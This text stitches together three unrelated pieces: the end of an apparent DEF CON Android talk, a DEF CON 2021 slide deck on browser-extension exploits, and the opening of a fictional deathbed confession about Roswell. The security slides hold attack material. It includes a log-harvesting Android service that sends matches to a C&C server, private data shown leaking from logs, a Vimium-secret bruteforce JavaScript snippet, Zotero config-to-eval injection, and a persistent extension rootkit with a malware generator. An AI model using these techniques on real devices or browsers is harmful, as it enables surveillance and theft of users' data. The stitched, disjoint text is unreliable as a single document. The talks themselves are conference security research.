• Bonus Points: New tab for nethack URI and redirect original
page to http://google.com
public class NetHackReceiver extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.e("NetHack", "URI: " + getIntent().toURI());
finish(); // So no one ever sees this activity
}
}
E/NetHack ( 8647): URI: nethack:data?param=MySecret
#Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;la
unchFlags=0x400000;component=com.lookout.nethack/.NetHack;end
INTERNET
WITH 0 PERMISSIONS
INTERNET
WITH 0 PERMISSIONS
Demo
APPLICATION LOGGING
import android.util.Log;
...
public class MyClass {
...
private static final String TAG = "MyLogTag";
...
Log.d(TAG, "Some log content goes here”);
...
}
LOG DEVICES
• Main – /dev/log/main
• Events – /dev/log/events
• Radio – /dev/log/radio
• System – /dev/log/system
/DEV/LOG/EVENTS
“This is not the main "logcat" debugging log (Log)!
These diagnostic events are for system integrators,
not application authors.”
(android.util.EventLog reference)
I/force_gc( 372): bg
I/dvm_gc_info( 372): [8462382925454000962,-9202961561028941785,-4012281790553425882,8525709]
I/dvm_gc_madvise_info( 363): [688128,311296]
I/dvm_gc_madvise_info( 372): [479232,311296]
I/force_gc( 382): bg
I/dvm_gc_info( 382): [7526750061301363334,-9210279910440200153,-4012281790553425882,8525709]
I/force_gc( 178): bg
I/dvm_gc_madvise_info( 382): [512000,307200]
I/dvm_gc_info( 178): [8315180330336522432,-9221538084707051476,-4007778190926055386,8525813]
I/force_gc( 567): bg
I/dvm_gc_info( 567): [7218827569570034728,-9170310257555277784,-4011718840600004570,8525709]
I/dvm_gc_madvise_info( 178): [671744,311296]
I/dvm_gc_madvise_info( 567): [483328,315392]
I/force_gc( 235): bg
I/dvm_gc_info( 235): [7146757855084082108,-9181568294349572049,-4006370816042502106,8554528]
I/dvm_gc_madvise_info( 235): [638976,303104]
I/dvm_gc_info( 1225): [7161125164967880680,-8904595954992383958,-3999052466648025050,8628270]
I/dvm_gc_madvise_info( 1225): [2109440,311296]
I/battery_level( 89): [95,4188,281]
I/force_gc( 235): bg
I/dvm_gc_info( 235): [7146757855084016338,-9201834492672739281,-4006370816042502106,8554528]
I/dvm_gc_madvise_info( 235): [638976,303104]
/DEV/LOG/RADIO
• Radio command stream and debug data
D/CDMA ( 182): [CdmaDataConnection] DataConnection.clearSettings()
D/CDMA ( 182): [DataConnection] Stop poll NetStat
D/CDMA ( 182): [CdmaDataConnectionTracker] setState: IDLE
D/CDMA ( 182): [CdmaDataConnectionTracker] ***trySetupData due to dataEnabled
D/CDMA ( 182): [CdmaDataConnection] DataConnection.getState()
D/CDMA ( 182): [HtcRadio] Data state:ResourceReleaseWaiting -> Connecting, released=true
D/CDMA ( 182): [DGRD1] dataState=CONNECTING, mode=0x44800000->44800000
D/CDMA ( 182): [CdmaDataConnection] CdmaDataConnection Connecting...
D/RILJ ( 182): [0399]> SETUP_DATA_CALL 0 0 null null null 3
D/CDMA ( 182): [CdmaDataConnectionTracker] setState: INITING
D/HTC_RIL ( 53): ril_func_config_and_activate_pdp():called
D/HTC_RIL ( 53): ril_func_config_and_activate_pdp():0,0
D/HTC_RIL ( 53): @(t=1280205773)>> 13:up: 3
D/RILJ ( 182): WAKE_LOCK_TIMEOUT mReqPending=0 mRequestList=1
D/RILJ ( 182): 0: [399] SETUP_DATA_CALL
I/HTC_RIL ( 53): queue_get():<qmi_read_str_q> timeout (20000 msec) to get!
D/HTC_RIL ( 53): qmi_send_recv_procedure():QMI timeout (up: 3) 1 time(s)
D/RILJ ( 182): [0399]< SETUP_DATA_CALL error: com.android.internal.telephony.CommandException: GENERIC_FAILURE
D/CDMA ( 182): [CdmaDataConnection] DataConnection.handleMessage()
E/CDMA ( 182): CdmaDataConnection Init failed com.android.internal.telephony.CommandException: GENERIC_FAILURE
D/RILJ ( 182): [0400]> LAST_DATA_CALL_FAIL_CAUSE
D/HTC_RIL ( 53): ril_func_get_last_pdp_fail_cause():called
D/HTC_RIL ( 53): @(t=1280205793)>> 13:poll
D/HTC_RIL ( 53): qmi_read_thread():qmi read thread got [[STATE=down
/DEV/LOG/MAIN
I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready
I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear
E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1
V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear]
D/AlarmManager( 89): scheduleTimeTickEvent: Current time 1280206500021
D/AlarmManager( 89): scheduleTimeTickEvent: Next TIME_TICK broadcast time 1280206560000
D/StatusBarPolicy( 89): Received Intent: android.intent.action.TIME_TICK
D/StatusBarPolicy( 89): Current time is 1280206500084
D/StatusBar( 89): performAddUpdateIcon icon=IconData(slot='clock' text='9:55 PM') notification=null
key=android.os.Binder@46ac2d10
I/ClockWidget( 202): weatherClock onReceive~ action:android.intent.action.TIME_TICK mPaused:true
I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready
I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear
E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1
V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear]
I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready
I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear
E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1
V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear]
I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready
I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear
E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1
V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear]
LOGCAT
$ adb logcat
D/dalvikvm( 189): GC freed 480 objects / 22376 bytes in 70ms
D/HtcLockScreen( 85): onRefreshBatteryInfo: 15
I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better
to be explicit if an 8k-char buffer is required.
I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better
to be explicit if an 8k-char buffer is required.
D/BatteryService( 85): isUsbConnected() = true
D/BatteryService( 85): mPlugType = 2
D/WifiService( 85): ACTION_BATTERY_CHANGED pluggedType: 2
D/UsbConnectedReceiver( 216): action = psclient.intent.action.usb_status
D/UsbConnectedReceiver( 216): ACTION_BATTERY_CHANGED
D/UsbConnectedReceiver( 216): usbCurrentType = 2
D/UsbConnectedReceiver( 216): Current type is same as previous, return!
D/dalvikvm( 146): GC freed 72 objects / 3232 bytes in 99ms
D/dalvikvm( 146): GC freed 107 objects / 4360 bytes in 83ms
D/HtcLockScreen( 85): onRefreshBatteryInfo: 16
I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better
to be explicit if an 8k-char buffer is required.
I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better
to be explicit if an 8k-char buffer is required.
D/WifiService( 85): ACTION_BATTERY_CHANGED pluggedType: 2
D/BatteryService( 85): isUsbConnected() = true
D/BatteryService( 85): mPlugType = 2
D/UsbConnectedReceiver( 216): action = psclient.intent.action.usb_status
D/UsbConnectedReceiver( 216): ACTION_BATTERY_CHANGED
D/UsbConnectedReceiver( 216): usbCurrentType = 2
D/UsbConnectedReceiver( 216): Current type is same as previous, return!
PERMISSIONS
• Ability to read logs is gated by android.permission.READ_LOGS
• shell is granted this permission for adb debugging
• READ_LOGS is in some ways an alias for READ*
public static final String READ_LOGS
Since: API Level 1
Allows an application to read the low-level system log files. These can contain slightly
private information about what is happening on the device, but should never contain
the user's private information.
Constant Value: "android.permission.READ_LOGS"
THE CLIENT
• Android Service that requests:
• android.permission.READ_LOGS
• android.permission.INTERNET
• Downloads policies from the server
• Periodically delivers logs matching regex
LOGCATDEVICE
public class LogcatDevice extends LogSource {
...
public void open() throws IOException {
StringBuilder command = new StringBuilder("logcat");
File devFile = new File(DEVLOG + buffer);
if (devFile.exists())
{
command.append(" -b ").append(buffer);
} else { throw new IOException("Requested device does not exist."); }
process = Runtime.getRuntime().exec(command.toString());
input = process.getInputStream();
reader = new BufferedReader(new InputStreamReader(input));
}
...
}
LOGMONITOR
public class LogMonitor {
...
private void monitor(LogSource source)
{
while (running)
{
String data = source.nextEntry();
List<Matcher> matches = this.filter.matches(data);
if (matches.isEmpty() == false)
{
trackEntry(source.getFacility(), data, matches);
}
}
}
...
}
MONITOR SERVICE
public class LogMonitorService extends Service {
...
public void onCreate() {
...
this.monitor = new LogMonitor();
for (String buffer : LogSource.ALLDEVICES)
{
...
monitor.addSource(new LogcatDevice(buffer));
...
}
...
}
public int onStartCommand(Intent intent, int flags, int startId) {
return START_STICKY;
}
}
SERVER
• Rails server supplies C&C and processes device data
• Supplies per-device policies
• Receives logs meeting policies
• Provides an interface to explore logs from multiple devices
• Extracts and post-processes log data
POLICIES, ETC.
• Threw out a few random keywords (insert, update, delete, intent,
content, http, etc.)
• Picked a couple of pieces of data to toss around
• Setup initial expressions and started pushing data through devices.
DB_SAMPLE
• Logs the first 64 characters of a sampling of queries
• Sample rate is based on query execution time
I/db_sample( 342): [/data/data/com.android.providers.media/
databases/external-115b1495.db,SELECT _id, _data,
date_modified FROM audio,41,,9]
CONTENT_SAMPLE
• Similar to db_sample, but applies to content provider
operations
I/content_query_sample( 1327): [content://com.android.contacts/
phone_lookup/%2B1415XXXXXXX,_id/lookup,,,386,,78]
• GET_TASKS
• DUMP
I/ActivityManager( 84): Starting activity: Intent { act=android.intent.action.MAIN cat=
[android.intent.category.LAUNCHER] flg=0x10200000 cmp=com.infonow.bofa/
com.infonow.android.activity.RootActivity }
I/DEBUG ( 31): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 31): Build fingerprint: 'generic/google_sdk/generic/:2.2/FRF42/36942:eng/test-
keys'
I/DEBUG ( 31): pid: 59, tid: 190 >>> system_server <<<
I/DEBUG ( 31): signal 11 (SIGSEGV), fault addr deadd00d
I/DEBUG ( 31): r0 00000374 r1 0000000c r2 0000000c r3 deadd00d
I/DEBUG ( 31): r4 00000026 r5 80887fc4 r6 fffe9181 r7 000007d1
I/DEBUG ( 31): r8 48269b88 r9 429a6f40 10 429a6f28 fp 0021a438
I/DEBUG ( 31): ip 808881ec sp 48269ad8 lr afd154c5 pc 8083b162 cpsr 20000030
I/DEBUG ( 31): #00 pc 0003b162 /system/lib/libdvm.so
...
I/DEBUG ( 31): stack:
I/DEBUG ( 31): 48269a98 00000015
I/DEBUG ( 31): 48269a9c afd1453b /system/lib/libc.so
GET_TASKS AND DUMP
WITH READ_LOGS
I/ActivityManager( 85): Starting activity: Intent { act=android.intent.action.VIEW cat=
[android.intent.category.BROWSABLE] dat=http://www.google.com/m?client=ms-android-
verizon cmp=com.android.browser/.BrowserActivity }
D/HtcBookmarkUtility( 6341): start updateHTCScreenshot(), original=http://www.google.com/
m/search?q=something+embarrassing&aq=f&oq=&aqi=g6-
k0d0t0&fkt=4484&fsdt=19163&csll=&action=<oken=ae3da9c5f9727, url=http://
www.google.com/m/search?q=something+embarrassing&aq=f&oq=&aqi=g6-
k0d0t0&fkt=4484&fsdt=19163&csll=&action=<oken=ae3da9c5f9727
READ_HISTORY_BOOKMARKS
WITH READ_LOGS
D/ComposeMessageActivity( 376): Before Send Address:510XXXXXXX Send Message Body:Blackhat
D/SmsMessageSender( 376): Send Message To:510XXXXXXX Body[Blackhat]
D\debug ( 699): Received SMS: Something realllly embarrassing
READ_SMS
WITH READ_LOGS
D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Call mobile
D/HtcViewContactDetailActivity( 518): buildEntries sData: 4156666666
...
D/HtcViewContactDetailActivity( 518): buildEntries sLabel: null
D/HtcViewContactDetailActivity( 518): buildEntries sData: Firstname
Lastname
...
D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Email home
D/HtcViewContactDetailActivity( 518): buildEntries sData:
[email protected]
READ_CONTACTS
WITH READ_LOGS
/dev/log/main:
D/NetworkLocationProvider( 71): onCellLocationChanged
[LAC,CELLID]
V/LocationManagerService( 89): CdmaCellLocation latitude:
37.781666666666666 longitude: -122.39555555555556
I/ClockWidget( 182): onReceiverWeatherData~ data:type: 1,
param1: , param2: , update: Sun Jul 25 19:22:33 America/
Los_Angeles 2010, param2: , curTempC: 16, curTempF: 61,
curConditionId: 03, fstName: [Sun, Mon, Tue, Wed, Thu],
fstDate: [7/25/2010, 7/26/2010, 7/27/2010, 7/28/2010,
7/29/2010], fstConditionId: [03, 04, 02, 02, 02], fstHighTempC:
[22, 22, 22, 24, 24], fstHighTempF: [71, 72, 72, 75, 75],
fstLowTempC: [13, 12, 12, 12, 13], fstLowTempF: [56, 54, 54,
54, 56], curLocLat: 37.787392, curLocLng: -122.392922,
curLocLatTrim: 37.787, curLocLngTrim: -122.392, curLocName:
San Francisco, curLocState: California, curLocCountry: United
States, curLocTimezoneId: America/Los_Angeles
/dev/log/radio:
D/RILJ ( 204): [1274]< OPERATOR {AT&T, , 310410}
D/RILJ ( 144): [0098]< REGISTRATION_STATE {1, 0xCELLID,
0xLAC, 9, null, null, null, null, null, null, null, null, null, null}
ACCESS_COARSE_LOCATION
WITH READ_LOGS
RESOLVING LOCATION
require 'httparty'
class CellLocator
def self.request(mcc, mnc, lac, cellid)
response = HTTParty.get('http://cellid.labs.ericsson.net/json/lookup',
:query => {
:key => 'MY_API_KEY', :base => 10,
:mcc => mcc, :mnc => mnc, :lac => lac, :cellid => cellid
})
return response["position"]
end
end
D/WeatherClockWidget( 114): Query Weather data by Latitude:
37.779874, Longitude: -122.397273
V/GpsLocationProvider( 89): reportLocation lat: 37.78005123138428
long: -122.39708304405212 timestamp: 1280180485000
V/libgps ( 89): lat: 37.780051, long: -122.397083
D/libgps ( 1020): GpsInterface_inject_location( 37.780187,
-122.397607, 56.000 )
ACCESS_FINE_LOCATION
WITH READ_LOGS
A STORY ... ABOUT 3 GUYS
HEADING DOWN 101 ...
TO SFO
AND HEAD TO VEGAS ...
ARRIVING AT MCCARRAN ...
TAKE A CAB ACROSS TOWN ...
TO CAESAR’S PALACE
TO DEFCON 18
THE ULTIMATE PERMISSION
Yes, We’re Talking About Root
# id
uid=0(root) gid=0(root)
THE ULTIMATE PERMISSION
• Phones ship locked down
• Everyone wants to use their phone to it’s full potential
• Communities surrounding the rooting of phones have formed
• Third party ROM’s available to users now
HOW DOES ONE GET ROOT?
• Android uses a Linux kernel (duh)
• Lookup old kernel vulns and see if they work!
• 1.5 (Cupcake) using 2.6.27 kernel
• 1.6 (Donut), 2.0, 2.1(Eclair) using 2.6.29
• 2.2 (Froyo) using 2.6.32
• 3.0 (Gingerbread) will use 2.6.33/34 (Q4/2010)
HOW DOES ONE GET ROOT?
• Old/unpatched libraries!
• suid binaries with vulns
• Pretty much any traditional way since this is Linux
CASE STUDY
• Similar to libudev vuln (CVE-2009-1185). Discovered by
Sebastian Krahmer
• Patched in Android 4 days after exploit published
• Failed check of NETLINK message origin
(Did it come from the kernel? Or did a user send it?...)
• Who was vulnerable to this?...
http://android.git.kernel.org/?p=platform/system/core.git;a=commit;h=5f5d5c8cef10f28950fa108a8bd86d55f11b7ef4
uevent origin vuln
CASE STUDY
• Rewrote exploit to run as JNI code from the APK
(With zero permissions!)
uevent origin vuln
CASE STUDY
• Rewrote exploit to run as JNI code from the APK
(With zero permissions!)
• Every flagship phone...
uevent origin vuln
CASE STUDY
• Rewrote exploit to run as JNI code from the APK
(With zero permissions!)
• Every flagship phone...
• ...Of every major carrier in the US
uevent origin vuln
CASE STUDY
• Rewrote exploit to run as JNI code from the APK
(With zero permissions!)
• Every flagship phone...
• ...Of every major carrier in the US
• Oops.
uevent origin vuln
THE ROOTING PROBLEM
• People want their phones rooted
• Rooting is being viewed as a vehicle for modding
• Ignoring the large pink elephant – security issues
• Unwilling to make details public for fear of OEM fixing bug
• Leaves everyone with major vulnerabilities
WHY ARE PEOPLE ROOTING
• Modding phones
• Patching process is slow; users want access to latest and
greatest releases
• Tethering (Free additional features)
WHAT CAN YOU DO?
• Don’t assume lack of permissions means data is private
• Does the app really need READ_LOG permissions?
(Probably not)
• Keep your phone patched up to date
Users
WHAT CAN YOU DO?
• Users are trusting you with access to their private data
• Be careful what you do with that...
• Be paranoid about what you log
• If others don’t need to access your components, enforce an
access permission
Developers
WHAT CAN YOU DO?
• See developer advice
• Set a good example for other developers!
• Why should they care if they leak private info if you are
already doing it too?
• Please patch your libraries/kernels
OEMs
QUESTIONS?
Come see us in Track 1 Q/A room!
REFERENCES
• SDK Reference Docs
http://developer.android.com/reference/packages.html
• Jon Oberheide - Google’s Android Platform (CanSecWest 2009)
http://jon.oberheide.org/files/cansecwest09-android.pdf
• Jesse Burns - Exploratory Android Surgery (BlackHat USA 2009)
https://www.isecpartners.com/files/iSEC_Android_Exploratory_Blackhat_2009.pdf
• CVE-2009-1185 - https://bugzilla.redhat.com/show_bug.cgi?id=495051
• http://c-skills.blogspot.com/2010/07/android-trickery.html | pdf |
EXTENSION-LAND
EXPLOITS AND ROOTKITS IN
YOUR BROWSER EXTENSIONS
BARAK STERNBERG // DEFCON 2021
ABOUT ME
•
Barak Sternberg (@livingbeef)
•
Senior Security Researcher, Previously Author @ SentinelOne Labs.
•
“Hacking smart-devices for fun and profit” // DC28 IoT Village.
•
BSc & MSC in CS on algorithms (bioinfo) from TAU.
•
Focus from vulnerability-research (IoT, embedded devices, Linux and web apps) to analyze malwares in
the wild.
•
DJ & Party Lover (mixcloud.com/barak-sternberg)
MOTIVATION
• More than 2 million extensions in webstores - attackers develop malicious ones & exploit.
• Why Extensions?
• More permissions (easy “uXSS“ to any origin)
• Controlling you entire browser & more
• Cross-platform – works on any desktop/OS
• Easier to develop – “JS-malware”
SYLLABUS
1. Intro to chrome-extensions
2. Extensions communication
3. Exploiting Zotero - “Jumping” from one
chrome-app to chrome-extension.
4. Exploiting Vimium – from PRNG’s to
uXSS.
5. Developing & Implanting an "Extension-
Rootkit“
6. Implanting a rootkit inside "good"
extensions
EXTENSIONS ANATOMY – THE BASICS
• Content-Scripts – Extensions’ “frontend”:
• Loaded inside “matching” sites (“sites extension works for”).
• Runs in a special VM context (its own vars and private-world).
• Accessible to site DOM.
• Background-Scripts – Extensions’ “Backend”:
• Run once in a special dedicated process.
• Access to more API’s.
• Persistent – non-site dependent.
• Extension-Dir - %LocalAppData%\Google\Chrome\User
Data\Default\Extensions\EXTENSION_ID\
• Extension-Manifest - Manifest.json (the manifest.xml of extensions)
• Extension-Signature - Gets verified & checked at run-time.
MANIFEST ANATOMY
1
2
3
COMMUNICATING IN EXTENSION-LAND
• For Example, let’s say we go to https://google.com
• For every extension the following interactions are created.
*Picture Credit for “Attacking Browser
Extensions” // Nicolas Golubovic
CONTENT-SCRIPTS?
• Example: Ad-Blocker wants to remove ad-iframes from your page.
• How? It inspects the dom and remove them.
• Example code:
Let el = document.querySelector('div.slick-slide’);
document.body.removeChild(el);
BACKGROUND-SCRIPTS?
• Example: Ad-Blocker wants to block/redirect specific URL’s.
• How? It adds new “WebRequest-Hook” and filters requests.
• Example code:
function ad_listener() {
if (e.url === “https://BAD_SITE”) {
return {redirectUrl: “about:blank”};
}
}
browser.webRequest.onBeforeRequest.addListener(ad_listener);
WEBSITES <-> EXTENSION’ CONTENT-SCRIPTS:
1.
Cross-Origin Messages:
• Content-Script: Defines “message” listeners
• Website: window.postMessage(“DATA”, “chrome-extension://…”);
2.
DOM Changes & Events:
• DOM Events - onclick/onfocus/onload
• DOM Queries – search div with class=X
3.
Extension Accessible URL’s:
• Manifest: “web_accessible_urls” (URL’s that can be iframed/opened by other sites)
• Website: <iframe src=“chrome-extension://EXTENSION_ID/iframe.html”/>
WEBSITES <-> EXTENSION’ BACKGROUND-SCRIPTS:
1.
WebRequest Proxy:
• Background script: onBeforeRequest/onBeforeResponse…
2.
Tabs/Cookies/Storage Inspections:
• Background-Script: chrome.tabs Hooks / cookies.get(…) / chrome.downloads /
chrome.storage.
3.
Externally connected pages:
• Manifest: A URL “http://X.com” is defined as “externally_connectable”
• WebSite: sendMessage API available on http://X.com:
chrome.runtime.sendMessage(EXTENSION_ID, “DATA”)
EXTENSION <-> EXTENSION
PART 1
• All Website<->Extension comm is available.
• “Externally_Connectable” sites/extensions are allowed – sendMessage to background
available.
• TCP/UDP connections.
• Dependent on permissions.
Cross-extensions Injection – of background-messages:
• Extension 1 – injects code in HTTPS://SITE.EXTENSION2.COM :
• chrome.runtime.sendMessage(EXTENSION_2_ID, DATA, ..);
• Extension 2 – receives message, “thinks” its from its site!
ZOTERO EXTENSION
•
Popular Academic extension used to organize citations/share research.
•
Works with the “Zotero-Desktop” (saves data locally).
•
Extension communicate with Zotero Desktop through TCP.
ZOTERO TRANSLATORS OR
“JUMPING” BETWEEN CHROME APPS/EXTENSIONS
• Zotero Translators –
• 500+ JS-Translators can get executed at every site.
• XSS/”Supply-chain” attacks - https://github.com/zotero/translators/
• Zotero’s Translators’ have auto-update system -
• Check http://127.0.0.1:23119/GetTranslators for updates (“Zotero-Desktop” first).
• Translators need to update? Get new JS code at
http://127.0.0.1:23119/getTranslatorsCode
• Localhost Listener?
• Download & Install my “Mappy” chrome-app! ☺
• “Mappy” – a Chrome-app with one permission - “chrome.tcpServer”.
INJECTING JS IN ZOTERO CONTENT SCRIPTS:
SANDBOX EXECUTION?
Our
Translator
JS
Executed
INJECTING JS IN ZOTERO CONTENT SCRIPTS:
SANDBOX EXECUTION?
Our
Translator
JS
Executed
WITH CONTENT:
EXPLORING ATTACK SURFACE OF CONTENT-SCRIPTS
• Inside content-scripts:
• sendMessage/Connect
• Access to shared extension URL’s
• Storage/Configuration
• Inside Zotero Background Scripts:
• An interesting “eval” inside google docs integration
• Why and how it is done?
WITH CONTENT:
INJECTING JS INTO ZOTERO BACKGROUND CONTEXT
Prefs from
chrome.storage
Injecting
Scripts
WITH CONTENT:
INJECTING JS INTO ZOTERO BACKGROUND CONTEXT
Eval execution
In Background
WITH CONTENT:
INJECTING JS INTO ZOTERO BACKGROUND CONTEXT
• Config Injection?
• Chrome.storage.local is shared across content & background scripts!
• Inject new config from content-scripts.
• Trigger XSS inside background-scripts ☺
• Loaded every time background context re-starts.
“FULL-CHAINING ZOTERO”
DEMO VIDEO
VIMIUM’ING FOR FUN AND PROFIT
Vimium: Extension that convert your browser
into a “vim-like”
•
Easy Browser Navigation without mouse.
•
Keyboard shortcuts like VIM to
copy/search/navigate.
VIMIUM’ING FOR FUN AND PROFIT
Attack Scenario: You can make a user execute JS in your site (e.g: Ad, site, permission-less
third-party extension, etc).
Goal: Attack Vimium Extension.
Vimium Widgets:
• Vomnibar widget
• Helper widget
• Visual-mode widget
VIMIUM’ING FOR FUN AND PROFIT
2. Vomnibar iframe added
0. User Clicks “O” & Enter
1. Vimium Content-Script catch it & adds iframe
3. Authorize to iframe &
postMessage with
“vimiumSecret” token.
4. Vimium Content-Script & Vomnibar iframe communicate freely.
Website Context
Content-Script Context
VIMIUM’ING FOR FUN AND PROFIT:
BREAKING THE VIMIUM SECRET #1
“VimiumSecret” Generation:
• Very “State-of-The-Art” Random Number Generator:
chrome.storage.local.set({vimiumSecret: Math.floor(Math.random() * 2000000000)});
• Math.random prediction works in same-process, the token is generated inside background
process
• Bruteforce?
•
Inject vomnibar iframe
•
Try to connect?
VIMIUM’ING FOR FUN AND PROFIT:
BREAKING THE VIMIUM SECRET #2
• Bruteforce PostMessage’s 101:
• If success – Getting success response through “channel.port1”
• If fail – No response
WebWorkers stays-up: as long as chrome & website not closed actively -
• Works when the screen is closed.
• Works when tab/window is hidden.
let secret_to_bruteforce = 0xdeadbeef;
d = document.createElement('iframe');
d.src = 'chrome-extension://dbepggeogbaibhgnhhndojpepiihcmeb/pages/vomnibar.html';
document.body.appendChild(d);
d.contentWindow.postMessage(secret_to_bruteforce, '*', [channel.port2]);
VIMIUM’ING FOR FUN AND PROFIT:
VOMNIBAR COMMUNICATION
•
What is the communication between “Vimium” Content-Script & Vomnibar iframe:
•
Search for URL completions
•
Activate search / jump to new URLs.
•
Search for hints & Auto-completion.
•
Run JS code.
VIMIUM’ING FOR FUN AND PROFIT:
VOMNIBAR COMMUNICATION
•
What is the communication between “Vimium” Content-Script & Vomnibar iframe:
•
Search for URL completions
•
Activate search / jump to new URLs.
•
Search for hints & Auto-completion.
•
Run JS code.
VIMIUM’ING FOR FUN AND PROFIT:
VOMNIBAR COMMUNICATION
•
What is the communication between “Vimium” Content-Script & Vomnibar iframe:
•
Search for URL completions
•
Activate search / jump to new URLs.
•
Search for hints & Auto-completion.
•
Run JS code.
VIMIUM’ING FOR FUN AND PROFIT:
VIMIUM COMMUNICATION #2
How Vomnibar handle javascript scheme?
• Tries to find auto-completion.
• Calls background-script method to find relevant auto-complete.
• Background-script “sendMessage” back to sender tab’s content-scripts.
Problema?
• How about placing another iframe inside our tab?
• Vimium Content-Scripts are loaded at any iframe on tab.
• No validation for targeted url/frameId – JS executed in all iframes!
Why? Read sendMessage reference:
“The runtime.onMessage event is fired in each content script running in the specified tab for the
current extension.”
VIMIUM’ING FOR FUN AND PROFIT:
CONTENT-SCRIPTS MESSAGING INJECTION
1. Content-Script send message from
a specific iframe.
2. Background-scripts send message
back to this tab.
3. Content-scripts inside
another iframe receives
message as well!
4. Content-scripts inside
the sender iframe also
receives a message!
Content-Script Context
Background Context
VIMIUM’ING FOR FUN AND PROFIT:
UXSS DEMO
PERSISTENT JS INJECTION INTO ANY EXTENSION
OR GOTTA LOVE KUNPACKED
• Scenario: Post-Exploitation, Managed to run code over users’ device.
• Goal: install a persistent “rootkit”
• Extension unpacked-mode?
•
Argument –load-extension=YOUR_EXTENSION_PATH
•
Replace original extension – keeps its ID but still can change files/perms.
• Modifying “good” extension:
• Adding Any permissions as needed – cookies/tabs/sites and more.
• Full File-System Access (Read-Access)
• Hidden – All is done in chrome context
• Access to user cookies, mail, data, tabs, and much more in user context.
KUNPACKED DEMO TIME
KUNPACKED DEMO TIME
Replacing extension – How it looks like?
• Installed-Extensions List stays the same.
• Google WebStore “thinks“ it was installed correctly.
• The Icon stays almost the same (identifiable only in chrome://extensions tab).
INTRODUCING “MALTENSIONS”:
GENERATOR FOR JS-MAWARE INSIDE EXTENSIONS
Utility to generate and test malware-techniques inside your browser extensions.
Code: https://github.com/barakolo/Maltensions
Featured-Techniques:
•
Inject & run JS in hidden context inside tabs.
•
File-System Access /Access to sites/tabs/user-storage data.
•
C&C communication.
•
Output Formats:
•
Unpacked extension mode
•
JS to inject inside your favorite extension.
CONCLUSIONS
1.
Extension can be abused for “PE” –
• Extensions may abuse others to gain privs & stay hidden!
2.
Detections will get harder –
• Injection of malicious scripts inside “good” extensions!
• Hidden techniques to exfiltrate data!
3.
More Attack surfaces to explore:
• inner communication (cs <-> bg, bg <-> website …)
• Attack surface from one extension to another.
• storage mis-configs & injections.
4.
Malicious extensions are here to stay!
THANK YOU!
CREDITS & EXTRA-MATERIALS
•
p.4,12,33,41 - URL & picture credits - Generated & Downloaded from - https://imgflip.com
•
p.3 – picture Credits go to Mozilla Foundation / Mozilla Firefox & Google, Google Chrome.
•
p.19 – credit goes to https://memecreator.org.
•
p.18,22,38 - https://www.pinterest.at/pin/410672059765026188/ / https://knowyourmeme.org /
https://memesdroid.org / https://tenor.com/view/hacker-gif-18087134
•
p.28 - https://gfycat.com/gifs/tag/schrute
•
p.12 - https://memegenerator.net/instance/57339379/spongebob-rainbow-communication
•
Any other picture/extra-materials being used, besides the lecture content, are fully credited to their respective owners, if an
author/any owner wants to add copyrights/credits – please contact us and it can be added accordingly. | pdf |
ZeroDay: Roswell
by
Richard Thieme
I used to think that death bed revelations were nonsense. I knew lots of guys who kept
their vows to the last breath. Some even spread disinformation as they died under torture.
Intelligence professionals have discipline that sticks, most of the time.
I was sure that I did too.
Then I got the diagnosis. Cancer, inoperable. All through the gut. Stomach, liver, the
intestines.
As if I couldn’t guess.
Luckily we manage pain well these days. I feel as much as I want to feel. The pain
reminds me that my life is nearly over. I don’t want to forget that. A morphine haze
reduces the urgency I need to make myself tell the truth. If I find myself drifting into a
fog, dreaming about something in my non-existent future, I ease up on the meds until I
vomit, bent double and clutching my gut, then take pills until I’m coherent again but can
still remember that I only have a day or two left.
I am writing to three of you (you each know why and do not need to know the identity of
the others) and sending one copy to a writer who will know how to use this information.
He is not one of the usual suspects, not a name you would know, certainly not one of the
useful idiots we use to spread disinformation. (We have more reporters in our stable than
stars in the sky. And they say that two sources validate a story!) I am giving it to a man
who understands that fiction is the only way to tell the truth.
I am also giving the story to a blogger, but just one. So real gold will be buried on the Net
like the dwarf did in that fairy tale. (That’s an inside joke. You’ll understand in a minute.)
You remember the fairy tale, right? A guy forced a dwarf to tell him where gold was
buried in a forest? But he didn’t have a shovel? So he tied a scarf around the tree and
went to get one after making the dwarf swear he wouldn’t untie it? But while he was
gone, the dwarf tied scarves around all of the trees?
So one blog, at least, will have it right.
My God but this pain is intense. With each wave, more of the contents of my life tumble
into the darkness. I feel pieces of myself fall away with every breath. Memory modules
disconnect and disappear—so many stories, so much distortion, so many lies. I don’t
even know what’s true anymore.
2
I have been instrumental in building the false history that you live in, that you believe. I
created false points of reference to anchor your beliefs. You have been wandering in a
mist, thinking the sun was shining brightly. I confused the darkness for the sunlight, too.
Is that any consolation? Maybe that’s why I want to tell you the truth about Roswell. I
just want to shed a little real light before I die.
The human condition is hard enough, what with death mincing our memories, shredding
the fabric of our shared mythical history. Many events leave no record at all. Orders were
whispered and once they were carried out, the deed never happened. Most real history
disappears. The narratives that remain are often bound together with glue to create
illusions, but over time, even those lose the ability to stick. Things fall apart.
Nothing is what it seems.
Working in the intelligence community all my life, I know how most nodes, the keys that
